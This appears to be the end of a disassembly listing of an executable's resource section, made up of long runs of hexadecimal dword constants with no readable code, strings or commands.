		dd 1B72E48Bh, 0B40FD50Dh, 380BA8A4h, 0CDAC55ABh, 3D57ED0Fh
		dd 3D62C056h, 2EDDFBh, 25E99996h, 2B61C58Bh, 62696A84h
		dd 4D8A1A5Eh, 668F2AABh, 3DCAC4AEh, 700235DBh, 8D77C05Ch
		dd 24B521BBh, 0B525EDE1h, 0E50F9539h, 3BA7A824h, 65BAD52Bh
		dd 0B0F51851h, 6592AFD6h, 8B9D0FBBh, 0F83800A6h, 0BE32DCBh
		dd 0F75EC5ABh, 3BA368A4h, 9AA755EBh, 0BD61819Eh, 280AF35Bh
		dd 8D371DC3h, 255FF983h, 12A43A8Bh, 0D73CDE78h,	41DB7975h
		dd 39AAAAEBh, 0AE57AD3Eh, 258F72B3h, 0C9C250BBh, 3CDFF533h
		dd 0E84B9006h, 0F4E7953Bh, 0E568822Dh, 0E57FD5A7h, 3499E45Ch
		dd 0CBDB7095h, 8D7B913Fh, 1043E014h, 1DF2EDCBh,	64E81134h
		dd 65043DDBh, 0A53FD56Eh, 2555D886h, 0A8D6F51Bh, 0CDC14506h
		dd 13455D2Bh, 0E034D274h, 0A54FA3E7h, 0CF13F25Bh, 0E4FF55AAh
		dd 0FD563DE7h, 64E7615Bh, 72375DFAh, 656A09FEh,	0CD33EC8Bh
		dd 0B50F953Ah, 0DFDE9D0h, 0B9AAAAB9h, 0B857AD3Dh, 28FA2C1Bh
		dd 8D6455D3h, 0D94A4A2Bh, 36B76DBEh, 0CCB21699h, 0D973DC6h
		dd 60F2FCDEh, 7D97B066h, 0ED1ACA8Bh, 8379D4Dh, 1E5B7A2Bh
		dd 5677ED8Ah, 6584997Bh, 88180D24h, 0A57FC802h,	59AE8CDh
		dd 4F8EF51Bh, 0E7F637BBh, 0F1CA4A29h, 0DEB76DBDh, 21006A03h
		dd 0D97FC49h, 6AD838h
		dd 9757ED16h, 9ADC674Bh, 0CD01596Eh, 2A9F706Bh,	5DF79F0Eh
		dd 63B2183Bh, 0BC977D46h, 5F83BDE3h, 0A93F12F4h, 7B8F75DBh
		dd 0B9FE3B90h, 0F020E10Fh, 0DDF71813h, 0B89B28F6h, 0C267D9Bh
		dd 1A854843h, 599326F4h, 0ED6FF4CBh, 89139970h,	2ED7952Ah
		dd 8D7FC9CFh, 650F90D3h, 3BB918DBh, 5A68D513h, 7DE2399Eh
		dd 294B765Bh, 0ADF11A7Dh, 0F8DE20A6h, 5DDD2DCBh, 0A50FB493h
		dd 0F2C4AF5Bh, 25C9453Eh, 0D92B200Bh, 0F070624Fh, 8D7768A3h
		dd 2F67F1ADh, 0DF707CBh, 70F0C66Ch, 0DD70B4Bh, 18B2B3E8h
		dd 3D17F0A9h, 29E775B1h, 0DA77DDBBh, 754A4A78h,	0E0B76DBDh
		dd 0A50F9577h, 0B81A30AEh, 0E53FE3E5h, 459A2086h, 2BA4359Bh
		dd 0DB66DD11h, 294A8AB8h, 5E77ADBDh, 4A7195C3h,	8069B64Ah
		dd 0E5099BDEh, 0CFDADD0Bh, 459F80F5h, 720DA553h, 0F22DD4D4h
		dd 2A3A2468h, 2EE57EFAh, 8059D694h, 25C91B16h, 7AF35E0Bh
		dd 3636DEACh, 0BB37C804h, 98DFF52Bh, 5DB778FCh,	8D25E13Ah
		dd 0D97486Bh, 9083C014h, 80D7ED4Bh, 25CF4D96h, 4A66A9BBh
		dd 25C2DCAEh, 0DDB72D8Bh, 0E88A537Bh, 0D973DE3h, 1A818342h
		dd 0FD526AF4h, 0E58F75CEh, 0D0B7DD7Bh, 28DF7129h, 0B357A281h
		dd 4561FA54h, 61B75BB4h, 845AB302h, 49F7222Bh, 5EA9832h
		dd 0EED732CFh, 873AD94Eh, 38C34CF9h, 850598DAh,	2DB7DD7Bh
		dd 108C75E4h, 8F32C066h, 17EE527Bh, 0AC59389Fh,	400DFF66h
		dd 299908E7h, 967CF057h, 65B74437h, 0DC4F258Ah,	59398C2Bh
		dd 55F710FBh, 0EC03BEDEh, 45F3C145h, 0B3D659F8h, 0C261FC1Fh
		dd 0BA5DE1h, 911E82A1h,	13BEC568h, 89EE15BCh, 0EC53FD17h
		dd 4BBE5592h, 0B419CDEFh, 497BFD5Ch, 7FF85BFBh,	0CC4DB34Bh
		dd 4EB3036Eh, 52AFBC7Bh, 0B78334DAh, 8D08BF26h,	7DD25FEEh
		dd 856AE79Ah, 21E29222h, 0C8D338Bh, 8E33C36Eh, 0ACC1564h
		dd 0AD163896h, 4C7F8122h, 34834DF8h, 0C52EF056h, 7EB04912h
		dd 0D15E39CBh, 375ACC6Eh, 6A5B0C36h, 9DD1C992h,	7579A138h
		dd 0ED70A98Fh, 0C5616C11h, 4DA02F93h, 271319F7h, 477CF45Ch
		dd 0C23ECF3Eh, 0EFAE703Ch, 0FD67C6B9h, 0C7042CF5h, 650F953Bh
		dd 0D973DDBh, 0A53FD56Bh, 3DD76D0Bh, 258FF55Bh,	8DF75DBBh
		dd 0E55FB52Bh, 5DB72D8Bh, 0A50F95FBh, 0D97FD5Bh, 65FF55ABh
		dd 0FD57AD0Bh, 658F355Bh, 8D375DFBh, 255FF56Bh,	5DF76D8Bh
		dd 0E50F953Bh, 0D973D5Bh, 0A53F55EBh, 3D57ED0Bh, 832AF6BBh
		dd 8D779D82h, 5C7510A8h, 0D2B72DCBh, 281BD6CCh,	0BA986588h
		dd 357CD3E0h, 59F3E980h, 978377F0h, 8575E662h, 67546198h
		dd 0D135C69Fh, 5CA900B2h, 881E3D9Bh, 0A57FECC1h, 0FF5468E0h
		dd 44561773h, 5F75979h,	0A57D42AEh, 5DD3C58Bh, 856795FBh
		dd 8097FD5Bh, 25DD712Eh, 0E56EF40Bh, 0A50C392Fh, 72C0BFFFh
		dd 65667BEEh, 8400AE8Bh, 0C7F81838h, 1D743D1Bh,	2AC32514h
		dd 39BF6E0Bh, 0B8068339h, 8D37FF9Fh, 11DF8FA8h,	0DE85068Eh
		dd 0EB828509h, 53CC2527h, 917FEF28h, 96E5520Fh,	0F5FDCAD8h
		dd 72C88A93h, 0E115E14h, 9D4E4706h, 2E0CCD3Bh, 8818FEEFh
		dd 0A57FECF9h, 459E8CCh, 258FF51Bh, 0B11F5DBBh,	6E5FB52Bh
		dd 1D8EA30Eh, 527A7DFBh, 157F02A4h, 0E6FF55ABh,	0BD6E23B6h
		dd 6DFA355Bh, 0AF97C072h, 0B9B4F52Bh, 6479E074h, 6ACC957Bh
		dd 4DAEAFDEh, 2BAADCEBh, 0D557AD32h, 258F75D8h,	6B41488h
		dd 65DF35B8h, 305F7F8Bh, 0A6F06A85h, 4DAED74Eh,	66A9D6ABh
		dd 72D7A171h, 0E58E325Fh, 9D4D5E7Bh, 0D85B7AEBh, 5677ED8Bh
		dd 8D5F9979h, 0F268C313h, 9C955068h, 0FBD46D4Bh, 0A5877F0Bh
		dd 94835D42h, 91714CABh, 0AC5C6D88h, 240EDD70h,	0D24822BAh
		dd 2106D474h, 8857E147h, 0ADA46CB7h, 82CDA478h,	255F42E4h
		dd 25760B8Bh, 0EA3DA6C5h, 0D9796DEh, 9FBC03EBh,	0B652980Bh
		dd 27646591h, 7C74D730h, 9BAD5D7Ah, 68B4D274h, 0A54FACD1h
		dd 7557F876h, 61FBDA50h, 82D7AD0Bh, 0A5B69F6Eh,	0D8DF8D7Bh
		dd 26208A15h, 9D4E470Eh, 0CF8A1A3Bh, 0E977DE2h,	266CF16Fh
		dd 0E6E46FCBh, 0C6874354h, 0AD3EDDA9h, 0C17B7478h, 79AB048Fh
		dd 0FE2B99D2h, 8C7E161Bh, 0DE285A50h, 7C69D9D6h, 0BCA9DA0h
		dd 0C012920h, 8464AC90h, 0DCD91974h, 502D43C0h,	8CB149F7h
		dd 0FDD6C610h, 0BC4999F8h, 7D660820h, 0C61A948h, 40E0F3D0h
		dd 5CB9596Ah, 8030A580h, 0F291093Ah, 0A546473Eh, 0C3EF60Bh
		dd 0BB70CA24h, 64231FF8h, 0DA208B04h, 0D91DEF48h, 931A7D63h
		dd 981FC224h, 0A57FF1BAh, 25E6D56Dh, 0C14F1759h, 0EB155FB8h
		dd 0BD59DF80h, 0A242D763h, 0ADCD1604h, 8FD2CDCh, 9012BDF3h
		dd 7D752F4h, 0D5844658h, 5CB25FABh, 8F5FB54Fh, 359D4A60h
		dd 1F8F3F63h, 0BD8F4858h, 50F2BDFAh, 3CEF12F4h,	0A18F75DBh
		dd 5C7AA969h, 8E154BCBh, 65B2C67Dh, 250F957Bh, 0CE289F70h
		dd 0D1436826h, 0F820AD4Bh, 0E5CF01EAh, 0D37DD7Bh, 456F769Fh
		dd 0ECF21A21h, 660FD50Fh, 2963DDBh, 0A53F23EFh,	0B682D50Bh
		dd 8E241DB7h, 0B461E032h, 0DEFB56Bh, 0D8408621h, 0A54FA1CAh
		dd 0C97FD5Bh, 5C65E822h, 0B623AD4Bh, 51BEB0ACh,	8D375DBBh
		dd 42E7F76Bh, 28C192EFh, 81682D3Eh, 6B3C13D0h, 0C33F5553h
		dd 8D5499A0h, 0A078DF86h, 8D37E98Ah, 6DDFB52Bh,	0D5DAA033h
		dd 5219E07Bh, 4DA34C5Eh, 0E57FD5ABh, 0B854150Fh, 0E0FB35D3h
		dd 75DA5EC3h, 0D290DEEBh, 9D43DC0Eh, 650F963Bh,	0BD9349DBh
		dd 2E947F82h, 7DEEFB8Eh, 0E407E5Bh, 71BFD473h, 0D16E30DCh
		dd 5DB42DCBh, 0FA7B95FBh, 0F2F39AE3h, 0FB42DC9Dh, 5657ED32h
		dd 28F35E3h, 48FF69Fh, 8E5FF54Dh, 0A209D063h, 0D2F25C4h
		dd 0F268C194h, 1D596C08h, 9631F8F4h, 0B004DE4Ah, 8D37E98Ah
		dd 0A72867DCh, 0DDB72D88h, 32E7810Eh, 0BD688225h, 19D63DB4h
		dd 0C5B152F4h, 4EE92024h, 42BC76EAh, 1C41F060h,	155CEDCBh
		dd 92F3DDB2h, 4DA30C5Eh, 0A53FD16Bh, 85C5190Bh,	0ED713572h
		dd 4DFFE510h, 5DF4B15Fh, 3A5CD5FEh, 948A6250h, 597BD6Fh
		dd 10FF55ABh, 0D2EA2D41h, 658F756Fh, 0A48F1C8Fh, 2F96DC73h
		dd 1DC3462Eh, 0E6EB553Bh, 39BC9851h, 159455ABh,	0B8DD47BAh
		dd 25CF41F4h, 87376D11h, 25EB9EAEh, 65D1878Bh, 20F86899h
		dd 0DD749EAh, 0E57FD5BBh, 3467AA7Fh, 90375371h,	3D9CBB87h
		dd 0E5ECDF03h, 5FCA6420h, 920FD502h, 4DA30C5Eh,	0A53FF56Bh
		dd 8DDE180Bh, 0C0AFF03h, 27F71D8Fh, 25DE0D4Dh, 6986A87Ch
		dd 0A54F95BBh, 0EE3FD5Bh, 6FD7912Bh, 0BD6384AEh, 0EC24535Bh
		dd 0CD0EDB46h, 0A0A85E6Bh, 5DB759BAh, 0A50F953Bh, 5D27342Eh
		dd 9116D0E9h, 0CAFDED4Bh, 65BB445Eh, 8D775DBBh,	0D5D4C02Bh
		dd 0F7322733h, 0F0FD54Fh, 0B5F14030h, 6088CD9Ah, 7D97993Ah
		dd 0E58F34DBh, 0A487DF0Fh, 11F5D0E1h, 39B7EDCBh, 4FAA9F38h
		dd 6B977DEFh, 2487B3C0h, 0C529AFBh, 258FB56Fh, 0F8F75DB9h
		dd 0EF970129h, 1D83072Eh, 2CA4F3FBh, 4DAE5FE6h,	41C3EDABh
		dd 0AFCAD0Bh, 25BB04DEh, 8D3755FBh, 0D233816Bh,	1DC35C0Eh
		dd 0E50B953Bh, 0BD9C485Bh, 8EBA5F53h, 9757AD3Fh, 0A0783830h
		dd 8D37E98Ah, 65DFBD2Bh, 65D13CFEh, 575F8h, 0DD749F0h
		dd 254C7ECDh, 1BC246A1h, 0EF971C63h, 0CD03F6DEh, 263BB5EBh
		dd 0E95C4881h, 0CE69957Bh, 39A6B82Ch, 0B53FD52Bh, 85B16D0Bh
		dd 26FB35DAh, 87FF993Bh, 0A56B9E8Eh, 521C4B8Bh,	9120104Dh
		dd 0FA3CFD1Bh, 25CB642Eh
		dd 0FD57AD0Bh, 0D586411Bh, 0A4B25FABh, 8F5FB55Fh, 69C6E87Ch
		dd 0C50F957Bh, 8B273D5Bh, 0A13B579Eh, 0B7A9A286h, 65BB5C7Eh
		dd 7FA54BBh, 3DFF512h, 0D84BAD20h, 0A5BF920Eh, 4D68325Bh
		dd 0D4FA2201h, 7DD7ED3Fh, 838F359Bh, 0F806BBC3h, 43F6C1E9h
		dd 0D76F5D20h, 253BBEBEh, 0E77FDDBh, 52B765C1h,	7DE35C8Eh
		dd 250FF55Bh, 3DF528BBh, 0CCFA3FADh, 3BB76DBFh,	0A0F31550h
		dd 0D27FA2Eh, 25001A2Bh, 0CCD25AA1h, 658F756Fh,	0F8375CFBh
		dd 2F1F4560h, 1DC3440Eh, 0EAE43F3Bh, 0CD14853Dh, 9116F0E1h
		dd 9631ED4Bh, 0D225746Bh, 0CD43EC3Eh, 67DFB52Bh, 2A98588Bh
		dd 0E53BA4FEh, 9977DDBh, 5565A0ABh, 5652A7CBh, 6F8F75EFh
		dd 0CD03EDDEh, 353FB4EBh, 5C1155EDh, 8E0F2590h,	7D78DD3h
		dd 0E50BFEEEh, 0B820C70Bh, 25CFC16Ah, 8DFF5DBBh, 5D39A55Eh
		dd 0F8BDC508h, 0A54FA1D1h, 0C27563Dh, 2D4F5D40h, 0C97D2801h
		dd 9225351Bh, 0CD036C7Eh, 355FF56Bh, 2882DC8Bh,	66B7F31Eh
		dd 273237A3h, 0C33F15DFh, 9797DEA0h, 1C05C8F2h,	880DDFBh
		dd 659F811Ah, 0DD972D8Bh, 0D2BE8A0Eh, 0B5F16630h, 4075CDA2h
		dd 7D979921h, 0EF8CD11Bh, 0CD03F7DEh, 0C7413EBh, 9D4E6736h
		dd 0EFCE1F3Bh, 4DAEB77Eh, 1594B36Bh, 14526F53h,	8F8FB56Fh
		dd 0B9C6D84Ch, 0E55CB56Bh, 0D9B82C8Bh, 0A50F957Ch, 86F39AE3h
		dd 5472DE8Dh, 7C57ED3Fh, 658F35AAh, 8DF6AAF9h, 505CF56Bh
		dd 3990D58Eh, 5DA4BBBCh, 0D973D5Bh, 0A34AFE8Dh,	0D8DC556Dh
		dd 4137DEBDh, 267152DCh, 0CEB97518h, 0E986A87Ch, 0A50F953Bh
		dd 4DE27CDBh, 0D14E505Ch, 7DD7AD4Bh, 0C3FB3DDBh, 0E1BA651Dh
		dd 11EEF01Ch, 0DD77EDCBh, 0F000973Bh, 6B76371Ah, 0D0F651C0h
		dd 196F0B03h, 0CE24935Fh, 27FFEDA8h, 5D39BBC0h,	0D8B570D3h
		dd 0A54FA1D0h, 0E7C563Dh, 92559C1Bh, 0BD639C8Eh, 658F355Bh
		dd 3D17297Bh, 0CDADF6Ch, 9CF72DBFh, 6C028FDBh, 0F971953h
		dd 0E50B7C4Eh, 3EB32D0Bh, 8E8BB15Bh, 0EBDDBC0Bh, 6F3F4A93h
		dd 9D83042Eh, 52A4F37Bh, 4DA34C5Eh, 0E57FF5ABh,	8A84D90Bh
		dd 0A5BB045Eh, 8D37DD7Bh, 0D2D201CBh, 0DD77EE4Ch, 0D50AE13Bh
		dd 0FE7C974Bh, 28B412E0h, 3D975489h, 64063470h,	87AFED47h
		dd 0A56B9CAEh, 0D840878Bh, 0A54FA1CAh, 0DD7FD5Bh, 0DD9959DFh
		dd 785D6E5Bh, 65CF0172h, 35515710h, 80551594h, 5DB759A2h
		dd 60F83E5Dh, 0DD7096Ah, 0A43F55E8h, 0B8A09E7Fh, 25CF41EAh
		dd 0AD77DDBBh, 0A228B85Fh, 0DDB72D88h, 35BF900Fh, 86649671h
		dd 7FFA5E64h, 56D7ED32h, 19C7BC13h, 8C01448h, 259F41DAh
		dd 0DDF7ED8Bh, 0E0829B4Eh, 0DD709F2h, 257FDDE1h, 0C5A46EF2h
		dd 6142F1D6h, 4CF74D9Fh, 6EEFBDCBh, 3BB1CE20h, 0C3CFA443h
		dd 822F9BF0h, 65473D2Bh, 1C55AD0Bh, 0CED79E3Dh,	8B42947Eh
		dd 0E56E4D0Dh, 9E47C6EDh, 0D98A1891h, 0FA977D6Fh, 0E50B646Eh
		dd 3D57ED0Bh, 728900CBh, 662F2590h, 4D8C3E32h, 0D9CD5A0h
		dd 9CAD18F0h, 98967D9Bh, 0E53FEC29h, 395C940Ah,	580631FFh
		dd 8D77CD16h, 1C59C860h, 585CEDCBh, 654FACB9h, 39A6B82Ch
		dd 0A57FD52Bh, 3FA36D0Bh, 0E7242DACh, 0DAA15DBFh, 0DCF108A8h
		dd 52B72DCBh, 0A50E4C7Fh, 0D9A155Bh, 20B455ABh,	0B112E359h
		dd 21A10768h, 723711B7h, 656A7DFEh, 0E372E48Bh,	0B60FD502h
		dd 0EAB65D0h, 8D4CAA33h, 0D563AE80h, 0DA708327h, 0B4D14830h
		dd 6684B56Bh, 583E21C9h, 0A54FACB9h, 849F3FD8h,	0A546132Eh
		dd 55A4260Bh, 0E50F8624h, 58DFDD7Bh, 0AE208A1Dh, 9D4E4B36h
		dd 0ACE7C33Bh, 8668C22Dh, 0E50673FEh, 359DE60Bh, 0E83BF58h
		dd 881EDE75h, 0E43F3D24h, 0D9B82D8Bh, 0A50F94A1h, 343D4858h
		dd 0D0FC55EBh, 0FD179479h, 6A6709F7h, 8D37FF7Eh, 2119786Bh
		dd 6485E8A0h, 0E30C957Bh, 0FB11D50Bh, 18BCAA14h, 3D17D4ADh
		dd 1E8400DBh, 0E78D1FCh, 65DFB430h, 488E2160h, 0A54FACDDh
		dd 0C9AF8D4h, 607CD5ABh, 7D979479h, 1AB7B4BDh, 71B2D25Eh
		dd 0AEDF75EBh, 9E5CEFCBh, 2CE7C50Fh, 3468C22Dh,	0E50673D6h
		dd 0D952620Bh, 268FF55Bh, 0CDCEF73Eh, 97DAB62Bh, 0D6B76DB2h
		dd 0A948BEFBh, 0D5A7F54h, 22C455ABh, 39D4A203h,	0E68F355Bh
		dd 0CA345F3Bh, 57DAF67Fh, 0FF72DB2h, 5BBA6A6Bh,	0F2977D62h
		dd 0E50A1D7Eh, 0FDD2B70Bh, 2538F0D4h, 119EDDBBh, 59DFB52Bh
		dd 49322274h, 250F957Bh, 889868E5h, 0E57FD520h,	56D6EB80h
		dd 0DDF0198h, 72C828A3h, 1C79C8D2h, 0AA02EDCBh,	5CA51038h
		dd 88943D9Bh, 0A57FEC19h, 41DE882h, 2504F51Bh, 0B435D880h
		dd 0ED2DB56Bh, 6471A8B0h, 0CC7D95BBh, 0D97FD66h, 8DC827DBh
		dd 0FD57AD14h, 0EE737BD6h, 8E35763Ah, 0A064E529h, 5DB75441h
		dd 218C994Eh, 82A6C24Bh, 0C42371AFh, 0B294F6E0h, 65B6E75Eh
		dd 38FCBDBBh, 659F8C59h, 22415B63h, 0A5A6F484h,	78177DDBh
		dd 0E938FEA5h, 3AECA479h, 0D90D3AD3h, 0C4C82284h, 0DB6DF0E4h
		dd 0E1FC1274h, 54A8141Fh, 0F2973DFFh, 4E402A94h, 199DEC37h
		dd 0C58FF53Bh, 6376EF5h, 60D89127h, 5DF71425h, 813A2C76h
		dd 8894FD5Bh, 65BF6CD9h, 0B3F2086Dh, 278CF370h,	817576EFh
		dd 0CDA4B3ADh, 5DA5EC4Ch, 0E50A953Bh, 4B1E3D5Bh, 66610A17h
		dd 5195886h, 0DAD9759Bh, 0CD42A12Eh, 9A27362Bh,	0DD0CA984h
		dd 2086957Bh, 0DD74489h, 1A29D5C1h, 3DE2199Eh, 0EA4FB0DBh
		dd 8D3779FFh, 751F5EEBh, 8D7487DBh, 65679451h, 5B573DDBh
		dd 90634094h, 0C5546D4Bh, 1B0BFAA4h, 4F75DBEh, 0A566E3AEh
		dd 73AA08Bh, 280FD5C2h,	4DAE9FCEh, 0FAD04ABh, 68A8FD0Bh
		dd 65CF00DFh, 82C8A578h, 255AF9EFh, 0A2F7078Bh,	0A536C38Eh
		dd 8D02C25Bh, 263F15DEh, 0B95812F3h, 258F712Eh,	0B41D5832h
		dd 0ACECB56Bh, 8DE6EE88h, 0F40BFF2Ah, 34C1C824h, 7080D5EBh
		dd 7D97986Bh, 6180F55Eh, 8D37D9AAh, 0A056BCD8h,	0DD37D4E5h
		dd 0D5EC46Ah, 0D983DC4h, 5AA2A3Bh, 0B8D72D3Eh, 0AF0BFA9Bh
		dd 4F75DBFh, 0A566C7AEh, 900FEE8Bh, 2E0F9592h, 8860C510h
		dd 65BF619Ah, 0ED57AD0Bh, 0E08C332Eh, 8D774D96h, 0E45C2758h
		dd 0BC009C7Ch, 0DC7510B2h, 362F3D1Bh, 2E3F55CFh, 0B854D140h
		dd 25CF65B6h, 4C740F88h, 842844DCh, 0E4C1A802h,	0AACC953Bh
		dd 0F491366Ch, 0B6F2E048h, 3E60A213h, 0AC5F36CFh, 8E1F1C10h
		dd 7AE5F43Bh, 241984FCh, 1F8C884Fh, 0EDE53CD7h,	2E039EE0h
		dd 7FD47949h, 6DCB784Bh, 0AE2EAA44h, 8FDA8EEAh,	9EB76DB2h
		dd 0B52BC170h, 8F183D68h, 65FF5513h, 169826C8h,	2B32B850h
		dd 71371DC3h, 0EC6C2AE0h, 2F965127h, 9275A93Dh,	0A7B71159h
		dd 494B09D7h, 0E023C337h, 0CDFA75E7h, 8CFC1458h, 2087F016h
		dd 0E0BC598Bh, 0A55DD628h, 0F2A4F8D4h, 0E6F42A54h, 339EFA36h
		dd 0C30B3A98h, 0B0C82284h, 6B8A36BCh, 226C6984h, 32326AC4h
		dd 2A50E98h, 5AC0C5EFh,	6E8750F4h, 0A180BA0Fh, 7208A2BEh
		dd 0C8B76E18h, 5248D275h, 5AF16D7Fh, 0E545CEA4h, 65FF55BDh
		dd 2A8C2E3h, 658FDDA4h,	0C6A5DFBh, 65707F86h, 5ECA848Bh
		dd 1A6B953Bh, 7F22B669h, 0C13F15D2h, 0BC31CF82h, 2AD538E5h
		dd 8D74FB3Eh, 59813E2Bh, 5CD1F388h, 0AA4AC540h,	0D946B5Eh
		dd 0F33C22ABh, 7DD78D0Bh, 0E686B0D4h, 0CEC1DD7Bh, 6B5477B7h
		dd 21F3E2ABh, 860F9539h, 0C6EBCD7h, 0AA3FD56Ah,	3DD5838Dh
		dd 0DB421D5Bh, 0FF8A244h, 0E55FB7C8h, 5EA76700h, 0A5B799B1h
		dd 5C97FC5Bh, 9A15BB43h
		dd 0D2C29DF4h, 0D48F756Fh, 0BD826DDBh, 4F5FB55Fh, 53E93ABh
		dd 31E78143h, 8868C2B1h, 67AB5A39h, 0A8660FD8h,	25CF41EAh
		dd 8B1F3850h, 3CDFB52Bh, 0DDB72BE3h, 11E7CD7Bh,	87688231h
		dd 0A54BFC2Eh, 57532B0Bh, 0E5CF01F2h, 0B91E58F3h, 0C53D75ABh
		dd 0E946687Ch, 6507957Bh, 4E23DDBh, 911468EBh, 49D66D4Bh
		dd 140A029Eh, 8EF71D8Fh, 915EB52Bh, 740AAD90h, 0A00FD5CFh
		dd 0B0174D2Fh, 65BF6181h, 7DF0D90Eh, 25BB1EE6h,	134358FBh
		dd 116E709Ch, 5DF76DCBh, 0EC7B153Bh, 39BE80DBh,	0D23D55ABh
		dd 93F26E82h, 258F35E2h, 72835253h, 981F5DD4h, 0F85FD274h
		dd 2E0F9579h, 4DAE0B46h, 19A13DABh, 0F9D852F4h,	0E58F37D0h
		dd 0B44568F0h, 7B5475ABh, 35A9EEB7h, 9AF068E4h,	0C62BFD4h
		dd 0EFBED56Bh, 3DD70D2Fh, 77717EBBh, 998D5EEDh,	124FCF28h
		dd 1D831C0Eh, 0A50F95FBh, 8099884Bh, 25CB691Eh,	90DA260Bh
		dd 968F754Bh, 828E0A5Fh, 0A85FF562h, 1DE76D3Eh,	54AA663Bh
		dd 0FE95DE5Bh, 94BAA24Fh, 3D57AD3Fh, 2A9F75DBh,	8D77753Fh
		dd 4DAC4A2Bh, 22464263h, 39A1E84h, 88973DE2h, 77FBDA79h
		dd 0F6D7AD0Bh, 0A5B6476Eh, 9D7D567Bh, 45FB3F6Ah, 0F697ED8Bh
		dd 677C9D71h, 7F94F4E8h, 0C8B2EE7Fh, 0B6D72D1Bh, 659F98D6h
		dd 6A12FBBh, 40DC9117h,	5DF73DE6h, 0C8A816FBh, 0D97FD5Bh
		dd 64F72F20h, 0A54A541h, 0E004C2DCh, 8D77647Dh,	116E709Ch
		dd 5DB76DCBh, 0E77B953Bh, 7F9425ACh, 2C0F7CE7h,	7D6E43BEh
		dd 0DFCFEDBh, 880EDBAh,	659F811Ah, 0DDB72DCBh, 0BDF8970Fh
		dd 0F123958Ah, 0E262A54h, 55A4AE07h, 0B48347F0h, 0D2932E2Dh
		dd 196AF8B2h, 2E77ADBFh, 6A51CA9Fh, 8A1AAFEAh, 0A53FD4B9h
		dd 9F8F831h, 23FAF51Bh,	0DB8F8FD2h, 0B5D7A71Fh,	827BC574h
		dd 2E556A04h, 4794F111h, 547AA2BBh, 0FD57ED3Fh,	0E89F355Bh
		dd 9E425BBAh, 1CF178E2h, 0D8F46DCBh, 0E54F8556h, 0DFA9AD8h
		dd 8E3F55EBh, 88A8C548h, 25CF4CA5h, 8D255A32h, 2350B52Bh
		dd 0EC32DAABh, 0A50FD54Fh, 79177DDBh, 0C29787ACh, 272852F2h
		dd 0DC21B850h, 8ED4DD3Bh, 0AEF73E62h, 58FCFDC1h, 654FAC4Dh
		dd 7E9F77E2h, 0AD755C68h, 0BEC72F0Ah, 0AE8FAD38h, 0CDCE273Eh
		dd 0C163DD2Bh, 1FB62D8Bh, 0E60ECCF3h, 2202770Bh, 92FF159Fh
		dd 0BD639C8Eh, 658F355Bh, 8E3129EBh, 654F98E6h,	0AAF7DB8Bh
		dd 0A53BA4BEh, 0F973D5Bh, 5B2B20EBh, 0CD21ACDh,	258F35EFh
		dd 0F877D9BBh, 556A3F2Dh, 2AB76DBFh, 0E53BA4FEh, 0DD77DDBh
		dd 6F74A0ABh, 0D715AF0Ch, 126DE3D9h, 8ABDD490h,	2775B7D9h
		dd 0EE800F5Dh, 4784F1E9h, 5595B2BFh, 9C6968E8h,	32D76D4Bh
		dd 0DA747DDFh, 0FF42A244h, 1A5FF512h, 1D82E91Eh, 0CBBA6AFBh
		dd 0F297BD62h, 25CA693Eh, 0A7DA200Bh, 0E88F7562h, 0CD0E3F6Eh
		dd 4F0DA46Bh, 0B42928Bh, 1A0FD502h, 4DA285CEh, 0F38AAAEBh
		dd 0C257AD32h, 65BA494Eh, 0C3C250BBh, 9ADFF513h, 9D8E7F3Eh
		dd 30F0C37Bh, 0DD7486Fh, 0DC297028h, 0BED7AD4Bh, 0E58F3533h
		dd 8C5D807Bh, 1696986Ah, 2D2FEDCBh, 0E58A5434h,	88977DCEh
		dd 6DBC16ABh, 0FCD89DF4h, 659A75DEh, 9DCA9EBBh,	905F9F2Bh
		dd 21364B97h, 0D46399DFh, 0E5F7EE2Eh, 9A00AA6Fh, 83BFA87Eh
		dd 8D70CAA0h, 72C8A229h, 8A0DB0Ah, 4FC33BF3h, 0E50FB083h
		dd 0A87F5D5Bh, 0D0C0AA14h, 19136632h, 6B3AF8EBh, 6779D83h
		dd 0E4B9BD7Bh, 0AEB52BB1h, 0A567C35Eh, 869782DBh, 0B77FBF6Fh
		dd 8542525Bh, 668F75EEh, 0B3B6D5BFh, 79E04AB7h,	1BF4EEFEh
		dd 9E247D3Fh, 727FC224h, 0C4C02A94h, 3DA3D5C8h,	9464F55Bh
		dd 8DF77203h, 0E54F5D2Bh, 7D752D8Bh, 0A53F2DFBh, 0E7FFD5Bh
		dd 0A7FF55ABh, 0A9DAAD2Fh, 4B42397Fh, 0F137A578h, 25B79572h
		dd 0D6F76D8Bh, 0B83FB16Fh, 0E01627D0h, 0A57F61F8h, 0C2B2D4E3h
		dd 214D1424h, 8A75DEBBh, 79DEB02Dh, 0AA2C3D28h,	7B47AE54h
		dd 0C7575544h, 64h dup(0)
		dd 1280h dup(?)
_rsrc		ends


		end start